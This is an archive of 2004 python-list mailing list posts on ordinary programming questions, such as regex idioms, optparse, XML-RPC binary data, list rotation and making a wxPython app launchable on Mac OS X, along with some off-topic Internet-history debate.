I'm not sure yet whether the pythonic way to write e. g. class EggsSpamAndHam (Spam,KnightsWhoSayNi): def ham(self): print "ham!" def __conform__(self,protocol): if protocol is Ham: # implements Ham's ham, but does not have a word return self if protocol is KnightsWhoSayNi: # we are no longer the Knights who say Ni! raise adaptForceFailException if protocol is Eggs: # Knows how to create the eggs! return Eggs() would rather be along these lines: class Eggs: def asEggs(self): return self class EggsSpamAndHam(Spam): # no need to inherit form KnightsWhoSayNi def ham(self): print "ham!" def asEggs(self): return Eggs() That and a class-independent adaptation registry should achieve the same functionality with much simpler code. The real limits to protocol complexity are human understanding rather than technical feasibility. Of course I may change my mind as soon as I see a compelling real world example... Peter From PPNTWIMBXFFC at spammotel.com Fri Sep 3 09:43:33 2004 From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) Date: Fri, 03 Sep 2004 15:43:33 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> Message-ID: On Fri, 3 Sep 2004 10:33:29 -0300, Carlos Ribeiro wrote: > I propose a slightly different approach. First, proposing a generic > naming scheme for built-ins is an ambitious goal, to say the least. Agreed. > 1) sorted() and reversed() should return sequences. > > 2) add two new builtins, called respectively xsorted() and > xreversed(), as the iterator versions of sorted() and reversed(). This > way we keep the existing naming convention for range() and xrange(). That is a good idea and does not introduce a new naming scheme. Good. Cheers, Marco From graeme.matthew at contrado.com.au Mon Sep 13 02:51:14 2004 From: graeme.matthew at contrado.com.au (Graeme Matthew) Date: Mon, 13 Sep 2004 16:51:14 +1000 Subject: CGI.FieldStorage to HTML Message-ID: <41454367$0$22811$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Hi all I do a CGI post, I am using CGI.FieldStorage(), I obtain the values etc al works fine. I now need to take the same posted data and resubmit it to a remote server i.e I need to rebuild the entire raw html request. Does anyone know if you can retrieve the entire request string before parsing it via the cgi module? and then resubmit this to another server? Cheers Graeme From kanji_rama at yahoo.com Fri Sep 17 04:44:04 2004 From: kanji_rama at yahoo.com (kanji) Date: 17 Sep 2004 01:44:04 -0700 Subject: about Python/C extensions and thread Message-ID: Hi I know this question has been posed quite a number of times - but I could did not find a suitable answer to my problem. I have created a C library and its corresponding Python/C extension src file to generate a python module. My problem- is when i call the corresponding python functions (ie which are actually calls of extension src file) in a multi-threaded ptython program- i see either one of these two situations-- 1. One thread runs to completion and the other hangs. 2. both the thread runs to completion. This happens randomly. now in each of the C functions of the Python/C extension src file - i call a thread-safe C library function. This has been verified by a separate threaded C client. As per the docs, i have tried using Py_Begin_Allow_Threads / PY_End_Allow_Threads macros in extension code but it hasn't helped. Any ideas or pointers will be greatly appreciated. Little frustated, kanji kanji_rama at google.com From roy.OMITTHISBIT.ayres at dsl.pipex.com Tue Sep 14 15:08:53 2004 From: roy.OMITTHISBIT.ayres at dsl.pipex.com (Rgemini) Date: Tue, 14 Sep 2004 20:08:53 +0100 Subject: avi file duration, frame-count etc References: Message-ID: <2qotu3F11tltrU1@uni-berlin.de> Dmitry Borisov wrote: > From: "Rgemini" > Date: Tue, 14 Sep 2004 18:36:11 +0100 > Subject: avi file duration, frame-count etc > >> >> Does anyone know of a simple Python module that would let me read >> out the playing duration of an avi file? Or a way of getting the >> information using the os? I use WinXP & Win98. >> > > http://pymedia.sourceforge.net/ > Dmitry/ Wow! Many thanks Rgemini From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Wed Sep 29 13:38:17 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Wed, 29 Sep 2004 18:38:17 +0100 Subject: annoying behavior In-Reply-To: <9418be08.0409290318.7c81750c@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <653b7547.0409281915.5ff0d92e@posting.google.com> <9418be08.0409290318.7c81750c@posting.google.com> Message-ID: Elbert Lev wrote: > Making interpreter 100% "bullet prove" is impossible, finding errors, > which can be found, not only possible, but also very commendable. > > Isn't this obvious? With regard to what you want, only to you. > Let's stop wasting time on this discussion and continue discussing > decorators :) If you wish. I think you might find it educational, however, to consider what everyone else seems to be saying a little harder. -- Michael Hoffman From jepler at unpythonic.net Wed Sep 15 20:20:33 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 15 Sep 2004 19:20:33 -0500 Subject: localtime import not working In-Reply-To: References: Message-ID: <20040916002032.GB13092@unpythonic.net> Don't give your script the same name as a built-in module, or don't give your script a .py extension. Be sure to remove the .pyc version of your file too, or that will be found intstead of the real time module, even after your time.py is removed. This is probably in the faq... Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From lbates at swamisoft.com Wed Sep 15 11:16:17 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 15 Sep 2004 10:16:17 -0500 Subject: Python Imaging Library References: Message-ID: There is a separate SIG for PIL that you may want to visit (and send your error message to): http://mail.python.org/mailman/listinfo/image-sig Larry Bates "daniele" wrote in message news:ci9lp6$5d0$1 at lacerta.tiscalinet.it... > i got this errors while executing the command 'python setup.py build' > in PIL installation: > > _imagingtk.c:23: error: syntax error before '*' token > _imagingtk.c:31: error: syntax error before "Tcl_Interp" > _imagingtk.c:31: warning: no semicolon at end of struct or union > _imagingtk.c:32: warning: data definition has no type or storage class > _imagingtk.c: In function `_tkinit': > _imagingtk.c:37: error: `Tcl_Interp' undeclared (first use in this function) > _imagingtk.c:37: error: (Each undeclared identifier is reported only once > _imagingtk.c:37: error: for each function it appears in.) > _imagingtk.c:37: error: `interp' undeclared (first use in this function) > _imagingtk.c:45: error: syntax error before ')' token > _imagingtk.c:50: error: `app' undeclared (first use in this function) > _imagingtk.c:50: error: syntax error before ')' token > _imagingtk.c: At top level: > _imagingtk.c:55: warning: parameter names (without types) in function > declaration > _imagingtk.c:55: error: conflicting types for `TkImaging_Init' > _imagingtk.c:23: error: previous declaration of `TkImaging_Init' > _imagingtk.c:55: warning: data definition has no type or storage class > _imagingtk.c:57: error: syntax error before '&' token > error: command 'gcc' failed with exit status 1 > > where is the problem? > daniele From steven.bethard at gmail.com Fri Sep 10 02:54:47 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 10 Sep 2004 06:54:47 +0000 (UTC) Subject: Akward code using multiple regexp searches References: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> Message-ID: Topher Cawlfield uiuc.edu> writes: > Can anyone suggest a more elegant solution? Does this do what you want? >>> rexp1 = re.compile(r'blah(dee)blah') >>> rexp2 = re.compile(r'hum(dum)') >>> for s in ['blahdeeblah', 'blah blah', 'humdum humdum']: ... result = rexp1.findall(s) or rexp2.findall(s) or [None] ... print repr(result[0]) ... 'dee' None 'dum' The findall function returns all matches of the re in the string, or an empty list if there were no matches. So if the first findall fails, the or- statement will then execute the second findall, and if that one fails, the default value None will be supplied. Note that findall returns a list of the matches, hence why I have to extract the first element of the list at the end. > I'm a little bit worried about doing the following in Python, since I'm > not sure if the compiler is smart enough to avoid doing each regexp > search twice: > > for line in inFile: > if rexp1.search(line) > something = rexp1.search(line).group(1) > elif rexp2.search(line): > somethingElse = rexp2.search(line).group(1) You're right here - Python will call the method twice (and therefore search the string twice). It has no way of knowing that these two calls to the same method will actually return the same results. (In general, there are no guarantees that calling a method with the same parameters will return the same result -- for example, file.read(100)) Steve From thorsten at thorstenkampe.de Sun Sep 19 04:23:10 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Sun, 19 Sep 2004 10:23:10 +0200 Subject: optparse question References: <0W13d.272974$OR2.12451641@news3.tin.it> Message-ID: * GMTaglia (2004-09-18 23:39 +0200) > George Yoshida wrote: >> optparse is same as getopt in this respect. > > that's fine but....why? To avoid unneccesary typing when the typed option is unambiguous. It's the same with [y]es and [n]o. It makes things faster but increases typo mistakes. > I think it will be better if only the *exact* option will match, it will > avoid typing mistakes and/or accidentally wrong matches, imho. It won't avoid them but it will make them less likely. On the other hand you could disable short options and make your long options at least fifteen characters long to avoid typing mistakes and accidental wrong matches. *I* myself always use the complete long option when I use one but maybe your users will find typing only a part comfortable? On the other hand: if you have a lot of similar options, consider renaming them so that they start with a different character or use a config file (ConfigParser). May gpg be your guiding nightmare. Thorsten From fxn at hashref.com Wed Sep 15 07:03:36 2004 From: fxn at hashref.com (Xavier Noria) Date: Wed, 15 Sep 2004 13:03:36 +0200 Subject: i am going to get crazy!!! In-Reply-To: <9418be08.0409150237.16f90c36@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <9418be08.0409150237.16f90c36@posting.google.com> Message-ID: On Sep 15, 2004, at 12:37, Elbert Lev wrote: > I agree with you. I find myself jumping from TextPad or vim to > PythonWin, because TextPad does not have help/autocompletion, but is > fast (not so vim or emax). PythonWin is slow but has a debugger and a > sort of semyfunctional help/autocompletion. Just being curious, what kind of autocompletion do you guys expect for a dynamic language? Some people have mentioned Java IDEs talking about this feature, but since there is no place in the source that says that in name = user.name User.name() returns a string, after that line name. cannot complete for string attributes, it just doesn't know name is expected to be a string. The method theoretically could return objects of different types depending on something, indeed. There are partial solutions that use a substring approach, but none type-aware that I know (for instance Emacs has C-M-/ that is really helpful in practice, the Perl plugin for Eclipse does some completion as well). Am I missing some sophisticated code analysis that allows conventional code-completion? -- fxn From thierry.s at free.fr Mon Sep 6 04:22:27 2004 From: thierry.s at free.fr (Thierry S.) Date: Mon, 06 Sep 2004 10:22:27 +0200 Subject: open default MUA with a hyper link References: Message-ID: Thierry S. wrote: > Jonathan Ellis wrote: >>>>> os.startfile("mailto:jbellis at gmail.com") > "AttributeError: 'module' object has no attribute 'startfile'"?.. Yes after reding the Library Doc, i saw that this function run only on windows (i tried on Win, and it run correctly)... My application run on Linux. Is it on similar command on linux? Thanks. -- Thierry S. From canopus at gmx.net Thu Sep 16 05:46:37 2004 From: canopus at gmx.net (Sebastian Krause) Date: Thu, 16 Sep 2004 11:46:37 +0200 Subject: python: ascii read Message-ID: Hello, I tried to read in some large ascii files (200MB-2GB) in Python using scipy.io.read_array, but it did not work as I expected. The whole idea was to find a fast Python routine to read in arbitrary ascii files, to replace Yorick (which I use right now and which is really fast, but not as general as Python). The problem with scipy.io.read_array was, that it is really slow, returns errors when trying to process large files and it also changes (cuts) the files (after scipy.io.read_array processed a 2GB file its size was only 64MB). Can someone give me hint how to use Python to do this job correctly and fast? (Maybe with another read-in routine.) Thanks. Greetings, Sebastian From firstname at lastname.pr1v.n0 Tue Sep 7 03:00:23 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Tue, 07 Sep 2004 07:00:23 GMT Subject: Xah Lee's Unixism References: <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: In article , John Thingstad wrote: >On Mon, 6 Sep 2004 18:56:33 +0200, Morten Reistad > wrote: > >> In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, >> wrote: >> TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) >> converted Jan 1st 1983; with final NCP service turned off everywhere >> by mid march 1983. >> >> Tops20 has an IP package; but it was pretty rudimentary in version 4, >> and not quite complete even by those standards even in version 7. >> >> .. mrr >> >> > >Internet was discovered long before this. >(In 1965 a research project, by the Rand cooperation, for a network that >could survive a nuclear attack. Sponsored by DARPA. Since I am on a roll with timelines; just one off the top of my head : Project start : 1964 First link : 1969 Transatlantic : 1972 (to Britain and Norway) Congested : 1976 TCP/IP : 1983 (the effort started 1979) (sort of a 2.0 version) First ISP : 1983 (uunet, EUnet followed next year) Nework Separation : 1983 (milnet broke out) Large-scale design: 1987 (NSFnet, but still only T3/T1's) Fully commercial : 1991 (WIth the "CIX War") Web launced : 1992 Web got momentum : 1994 Dotcom bubble : 1999 (but it provided enough bandwith for the first time) Dotcom burst : 2001 >These is the real creators of the Internet technology. Not Unix hackers.) >It was the realization of www (CERN) that spawned the movement toward the >Internet. >So the year in question is about 1987. In 1987 the Internet wasn't even commercial. You had to apply to get in. We fought a bitter fight to break this open in 1990-1991. It was official policy of governements to stay with ITU (then CCITT) protocols and OSI/whatever until the web was well deployed. This even goes for the US government. -- mrr From carribeiro at gmail.com Fri Sep 3 15:37:11 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 16:37:11 -0300 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net> References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> <486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net> Message-ID: <864d370904090312375f7de2a0@mail.gmail.com> Mark, I'm really not the best person to advise you, but don't you think that keeping the name Prothon (or a simple variation) would be the best thing to do? I know that PyCs is a totally new beast, but Prothon is not actually being used form practical stuff (as far as I know). So naming it Prothon+ or something like that may be just fine. Even Prothon may make the cut -- after all, you're going to keep the prototype concept, aren't you? Just my thought on brand dillution. Carlos On Fri, 3 Sep 2004 12:10:09 -0700, Mark Hahn wrote: > > > On Thu, 02 Sep 2004 21:55:30 GMT, Lucas Raab wrote: > > > "Mark Hahn" wrote in message > > news:1hhcev52r31j6.1nier31029dhk.dlg at 40tude.net... > >> On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote: > > [snip..] > >>> o How does it differ from Mark Hammond's Python for .NET ? > >> > >> Totally different. > >> > > > > BUT HOW IS IT DIFFERENT??? You never answered the question. > > > >>> o How does it differ from Jim Hugunin's IronPython ? > >> > >> IronPython is an implementation of the compatible current Python on .Net > >> except for the libraries. PyCs is more like Python 3000 in that it is > >> incompatible, with advanced Python features. The advanced features are > >> from Prothon (mostly fixes of Python gotcha's) and from C-Omega. > >> > > > > So it's not like Python if it's incompatible. > > > > [snip..] > > > > Why not write a paper _clearly_ stating what makes Pyxc different from the > > other Python .NET implementations?? I'm sure if you have a cleanly written > > paper all of this mass confusion would not be necessary. Sorry, if this is a > > flaming post, but nothing seems to be solid on what's going on. > > I have written about it at length. See http://pycs.org and our wiki which > is linked there. > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Wed Sep 1 05:15:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 11:15:30 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Dan Perl wrote: ... > > In this like in many other details, Python chooses simplicity and > > clarity against automatic, black-magic, "behind the scenes" approaches. ... > This is the kind of answer I was hoping for. Actually, I was prepared to > see a suggestion for solving the problem in a different way and there were a > couple of them, even if the people suggesting them were themselves advising > to prefer the original solution. Glad I was helpful (in both ways). > When learning something, I need to understand the 'WHY' behind a design > decision like that, when clearly there are alternatives. I will not be I absolutely agree: understanding design rationale is crucial to using complicated systems optimally. > satisfied with an explanation of "that's the Python way and you just have to > learn it". The explanation of choosing "explicit" instead of "implicit" > makes sense and helps me in better understanding Python. I have to mention I'm glad to hear this. > though that I do not accept "explicit is better than implicit" as an > absolute truth. [That's like when someone told me once with pride: "I > always design bottom-up."] Applying a principle like that CONSISTENTLY in > the design of a language can make a very good language. On the other hand, > I can imagine there can be very good languages, with their own uses and > advantages, if the reverse principle were consistently used. Perhaps, but from my experience with languages which consistently try to double-guess programmer intent and "do what's right" implicitly based on context, it doesn't work -- I'm thinking of PL/I, C++, Perl. They're all big languages, so perfect consistency is impossible, of course. But even small languages grow, if they're successful. Do you have specific examples in mind of very good languages based on "implicit is better than explicit"? > > You may see in another message I posted in this thread that I ended up > giving an answer to my own question (the 'WHY' question). Here is my reason > for that 'WHY'. Python does not have method overloading (and I am ok with > that, because it comes with the dynamic typing), so you cannot have a > default constructor and a non-default one at the same time. C++ and Java Not with the same name. You can have all alternative constructors you want if you give them different names -- that's a popular use of classmethod (in Python as well as in Smalltalk, though there are differences between the two, of course). Alternative names are more powerful than any overloading based on type could possibly be. Consider: >>> seq = (1,2), (3,4), (5,6) >>> dict(seq) {1: 2, 3: 4, 5: 6} >>> dict.fromkeys(seq) {(1, 2): None, (5, 6): None, (3, 4): None} Overloading based on type would be powerless here, but classmethod fromkeys of the dict class is perfectly usable to get a different alternative constructor. > have overloading and then can also mandate a default constructor for a > parent class, even if it's empty because you actually use only a non-default > constructor for that class. Python cannot request that you also implement a > default __init__ when you need a non-default one. There would be the > possibility of adding another special method, but there's already __init__ > and __new__, so that would be too confusing. Java and C++ _could_ mandate a default ctor, but they don't -- it would be a very bad design decision for them to do so, and their designers aren't THAT bad:-). It's perfectly possible to have a class that just CANNOT be constructed without some specific arguments. I'm not sure why different names would be confusing any more than different signatures for the same name. Indeed in practice C++ builds names from signatures (with some added complications regarding hiding of names apart from signatures). So I don't think this rationale is a good one for Python's design choices regarding object creation & initialization. > > I don't know whether that was an actual reason for the design even if it is > definitely an obstacle. But the principle of "explicit instead of implicit" > (I'll think of it that way) will help me to understand also other aspects of > Python. And thank you for that. You're welcome. But I think the impossibility of having several methods with the same name, differentiated only by signature, is not the root of things in this particular case. Alex From thorsten at thorstenkampe.de Thu Sep 16 03:09:57 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Thu, 16 Sep 2004 09:09:57 +0200 Subject: Rotating lists? References: Message-ID: <1tjgfwiee2us5$.dlg@thorstenkampe.de> * Ivan Voras (2004-09-16 00:10 +0200) > I need to transform this: > > [1,2,3] > > into this: > > [2,3,1] > > (a left-rotation. Actually, any rotation will do). > > I tried: > > a = a[1:] + a[0] > > which doesn't work because there's no __add__ between a list and > integer, and: > > a = a[1:].append(a[0]) > > but it doesn't work, since append returns None :( Right now, I'm doing > it with a temporary variable and it looks ugly - is there an elegant way > of doing it? def rotate(seq, offset): """ shift seq to the left by offset, with the elements shifted off the beginning inserted back at the end """ return seq[offset:] + seq[:offset] From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 11 18:51:23 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sun, 12 Sep 2004 00:51:23 +0200 Subject: How can I exec() in global? References: <41440D7F.4030603@freemail.gr> Message-ID: re-Hi ! http://ponx.org (IE only, with scripts autorized) From raims at dot.com Sun Sep 12 08:31:47 2004 From: raims at dot.com (Lawrence Oluyede) Date: Sun, 12 Sep 2004 14:31:47 +0200 Subject: image library References: Message-ID: <878ybfllcc.fsf@mobile.foo> "Stan Cook" writes: > Does anyone know of an image library that can handle group 4 > tiffs? Try with PIL http://www.pythonware.com/library/index.htm -- Lawrence Oluyede (l dot oluyede at virgilio dot it) "If the implementation is hard to explain, it's a bad idea" The Zen Of Python, Tim Peters From ialbert at mailblocks.com Thu Sep 23 19:32:57 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 23 Sep 2004 19:32:57 -0400 Subject: good way to do side effects on lists? In-Reply-To: <4153315a$0$17453$636a15ce@news.free.fr> References: <415208a1$1_4@news3.es.net> <85bc2819.0409230702.2a5c4ab5@posting.google.com> <4153315a$0$17453$636a15ce@news.free.fr> Message-ID: <44qdnTS-mqa0wM7cRVn-rg@giganews.com> bruno modulix wrote: > Dont assume, test !-) Here is what I get running the script normally: [1.4226769044669085, 1.3523785844290266, 1.3683993356697575] [1.267016338668741, 1.2757789048608128, 1.2636061287118894] now let's turn on psyco: import psyco psyco.full() ..... [0.02277663781290639, 0.02202207263772351, 0.021649958304756606] [2.6641092652837162, 2.7028650289352423, 2.628167825799089] oh boy. Istvan. From lbates at swamisoft.com Tue Sep 21 14:40:41 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 21 Sep 2004 13:40:41 -0500 Subject: class size References: Message-ID: <2IOdnRkrz9U76M3cRVn-jg@comcast.com> I doubt there is a hard-and-fast rule. I think most programmers tend to think of classes as representing logical objects (things). If those things contain other things then they most likely need their own class. Example: I recently wrote a inbound fax forwarding program that had things like: Network Neighborhood Fax Server (n-to a Neighborhood) Groups (n-to a Server) Rules (n-to a Group) Routes (n-to a Rule) Since each of these were distinct things, they each got a separate class. Then I had: Fax Queue (1-to a Server) Fax (n-to a Fax Queue) Each of these got their own class. That way the methods and attributes for each of these was distinct and it made it much easier to isolate and debug my code. By using iterators, I could then write very straightforward code to loop over each "thing". Another reason to introduce a new class would be if you want to abstract the interface to some information. That is hide the mechanics of some interface behind a class so that it is easier to change or to break it into smaller units that are easier to understand. I think this is what you are referring to. I personally don't like classes that have over a couple of hundred lines (but sometimes I "break" that rule). The smaller they are the easier they are to understand and to debug. Larry Bates "Brad Tilley" wrote in message news:cipr3e$q72$1 at solaris.cc.vt.edu... > How large (lines of code) should a class be before one should split it > into smaller classes? Is there a general rule on this? How many functions > should a class contain? Are there limits (theoretical or practical) that > people learning classes should adhere to? From rff_rff at remove-yahoo.it Sat Sep 4 06:07:08 2004 From: rff_rff at remove-yahoo.it (gabriele renzi) Date: Sat, 04 Sep 2004 10:07:08 GMT Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <1gjkc05.1fvavju1fv249pN%aleaxit@yahoo.com> References: <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com> <1gjkc05.1fvavju1fv249pN%aleaxit@yahoo.com> Message-ID: Alex Martelli ha scritto: > I was wrong! Thanks to Stefan Eischet for suggesting I try again: Mono > 1.0.1 does install cleanly on my Mac (OS X 10.3.5, Xcode 1.5, fink > unstable, etc, I do keep it pretty updated but I don't think it matters > here) and IronPython runs on top of it (haven't done any thorough tests, > what with 2.4 alpha 3 requiring much more attention, but it does work > for trivial things at least). even MS's SSCLI runs on osx (at least 10.2): from msdn.microsoft.com/net/sscli: "This implementation builds and runs on Windows XP, the FreeBSD operating system, and Mac OS X 10.2. It is released under a shared source initiative. Please see the accompanying license." From iketo2 at netscape.net Wed Sep 1 20:40:26 2004 From: iketo2 at netscape.net (Isaac To) Date: 02 Sep 2004 08:40:26 +0800 Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: <87zn49sdtx.fsf@sinken.local.csis.hku.hk> >>>>> "Antoon" == Antoon Pardon writes: Antoon> If you need a function or class just to avoid nesting, Antoon> then IMO you have only camoeflaged it. In order to Antoon> understand what is going on you still need to understand Antoon> how the nesting of a number of controls prroduce a certain Antoon> result and when you write a function just to avoid nesting Antoon> it often enough makes readablity harder. Splitting a deeply nested function in the wrong way can make a program harder to understand. But that doesn't mean that in such case what you should do is to leave it as is. It's the comparsion of something bad with something that is just as bad. In either way that is bad: the program is easy enough to understand only by the original writer, and only at the instant when the code is written. In nearly every single time this happen, this is because there is a lack of a clean abstraction that allows part of the function to be moved out of the main function. In the long run, the right answer is nearly always to form an abstraction that would allow nesting to be removed, in a way that once the abstraction is recited, the program becomes more or less trivial even if you look at it 3 months later. And the end result will involve adding functions and perhaps classes. It might seems that one "adds functions and classes just to avoid nesting", but in reality they are used to form an abstraction that would allow the program to be understood more easily. Regards, Isaac. From amajorel at teezer.fr Thu Sep 2 14:19:43 2004 From: amajorel at teezer.fr (Andre Majorel) Date: Thu, 2 Sep 2004 18:19:43 +0000 (UTC) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: On 2004-09-02, John Thingstad wrote: > The fact that the NT kernel is not entirely stable yet really > shouldn't supprise anyone. Afterall Unix has messed with it's > kernel for 30 years. I feel compelled to point out that Linux achieved considerably better stability after just a few years. -- Andr? Majorel Conscience is what hurts when everything else feels so good. From heikowu at ceosg.de Sun Sep 19 07:46:38 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 13:46:38 +0200 Subject: Cannot get email package to work In-Reply-To: References: Message-ID: <200409191346.38295.heikowu@ceosg.de> Am Sonntag, 19. September 2004 00:12 schrieb Steve Holden: > Under Windows Python 2.3.3 (#51, Dec 18 2003, 20:22:39), however, I see > > >>> fd=file("C:\\cygwin\\tmp\\test.eml") > >>> msg =- email.message_from_file(fd) > > Traceback (most recent call last): > File "", line 1, in ? > AttributeError: Message instance has no attribute '__neg__' ---> Typo, should be msg = email.message_from_file(fd) So, I guess it does work under windows. ;) Heiko. From martin at v.loewis.de Sun Sep 19 05:45:51 2004 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sun, 19 Sep 2004 11:45:51 +0200 Subject: XML_RPC and unicode problems In-Reply-To: References: <7bf84d19.0409161548.521da358@posting.google.com> <414A8659.7080902@v.loewis.de> <414b2ea8$0$6335$9b622d9e@news.freenet.de> Message-ID: <414d554c$0$166$9b622d9e@news.freenet.de> Ivan Voras wrote: > Martin v. L?wis wrote: > >> Binary data and XML-RPC >> has a long and confusing history. > > > Why is that? There's for data that's expected to be binary[*], > and for everything else that's valid under chosen encoding. base64 originally wasn't part of the XML-RPC spec; it was added on 1/21/99. Before, the spec simultaneously claimed that the string element contains ASCII, that "full XML" is allowed, and that the string element can carry arbitrary binary data. These were all mutually contradicting: If you were to put arbitrary bytes into a string element, it would neither be well-formed XML (atleast not if you choose us-ascii or utf-8 as the encoding), nor would the strings be pure ASCII. Also, if the string can only carry ASCII, how can it be simultaneously allow for arbitrary XML? People have asked all these questions, and Dave Winer always said "read the spec, it says it all", when it really didn't. I believe that Dave's understanding was the following: With "ASCII", he didn't really mean "American Standard Code for Information Interchange". He meant that all bytes in the document must have ordinals < 127. He was fine with people putting character references (such as Ü) into string elements. He clarified that aspect on 6/30/03, by removing "ASCII" from the description of string. Wrt. binary data, I think he meant that you could use base64, uuencode, hex, whatever, in a string element, and thus represent arbitrary bytes. Of course, this would not be very interoperable, so he added base64. Regards, Martin From ronaldoussoren at mac.com Mon Sep 27 04:45:11 2004 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Mon, 27 Sep 2004 10:45:11 +0200 Subject: Clickable (wx)python app in OS X In-Reply-To: References: <26658f61.0409250605.32f18ba2@posting.google.com> <41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net> Message-ID: <8B2A5860-1061-11D9-87B0-000A95C77748@mac.com> On 25-sep-04, at 19:35, PhysicsGenius wrote: > Chris McD wrote: >> PhysicsGenius wrote: >>> AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!! I hate Macs. >>> >>> I have a wxPython program. It runs fine on OS X when I launch it >>> from >>> the Terminal ("pythonw appname.py") . The user wants to be able to >>> click it. Two main suggestions on the Internet, neither of which >>> works: >>> >>> 1) "Use Platypus" So I download it, upgrade Stuffit, install both, >>> figure out how to use it, create an app....and it doesn't work for >>> graphical apps. Nice to know, thanks for telling me ahead of time! >>> >>> 2) "Just associate .py files with PythonInterpreter". Sounds easy! >>> So I navigate to appname.py, Get Info, Open With, navigate to >>> PythonInterpreter....WhereTF is "PythonInterpreter"? Not on the OS X >>> system anywhere and Google only finds a Python module. >>> >>> So, how do I create a clickable icon that will launch my wxPython >>> program? >> Well you are opening it with pythonw so why not associate *.py with >> pythonw or python? >> Chris > > I was pretty sure this was impossible, but I may have done it. For > anyone else as frustrated as I was (and still am, kinda): I associated > .py with > /System/Library/Frameworks/Python.framework/Resources/PythonLauncher. > It still brings up a Terminal window, but at least the app launches > from a click. If you asked your question on the pythonmac SIG you'd have gotten your answer a lot sooner :-) The best way to build a double-clickeable application on OSX is by building an .app bundle that contains your application. One way to do this is using bundlebuilder: # buildapp.py from bundlebuilder import buildapp buildapp( name = "My Application", mainprogram = "TableModel.py", resources = ["English.lproj"], nibname = "MainMenu", ) # end of buildapp.py You can now run 'python buildapp.py build' to create the application bundle, run 'python buildapp.py' to see some more options. > > Mac OS X: It Just Works (poorly) No, it works differently :-) From grante at visi.com Tue Sep 28 15:15:52 2004 From: grante at visi.com (Grant Edwards) Date: 28 Sep 2004 19:15:52 GMT Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> Message-ID: <4159b868$0$99417$a1866201@newsreader.visi.com> On 2004-09-28, Lad wrote: > Yes, I installed all files( I think) because everything else > works. Only os.system does NOT. I use os.system to open txt > file.I use it like os.system('Myfile.txt') What makes you think that should work? Is Myfile.txt an executable file? Under Win32, don't executble file's names usually end in .exe? > When I use os.startfile instead of os.system it works well. Then why not use os.startfile()? It's the correct way to start the program that is supposed to handle .txt files. -- Grant Edwards grante 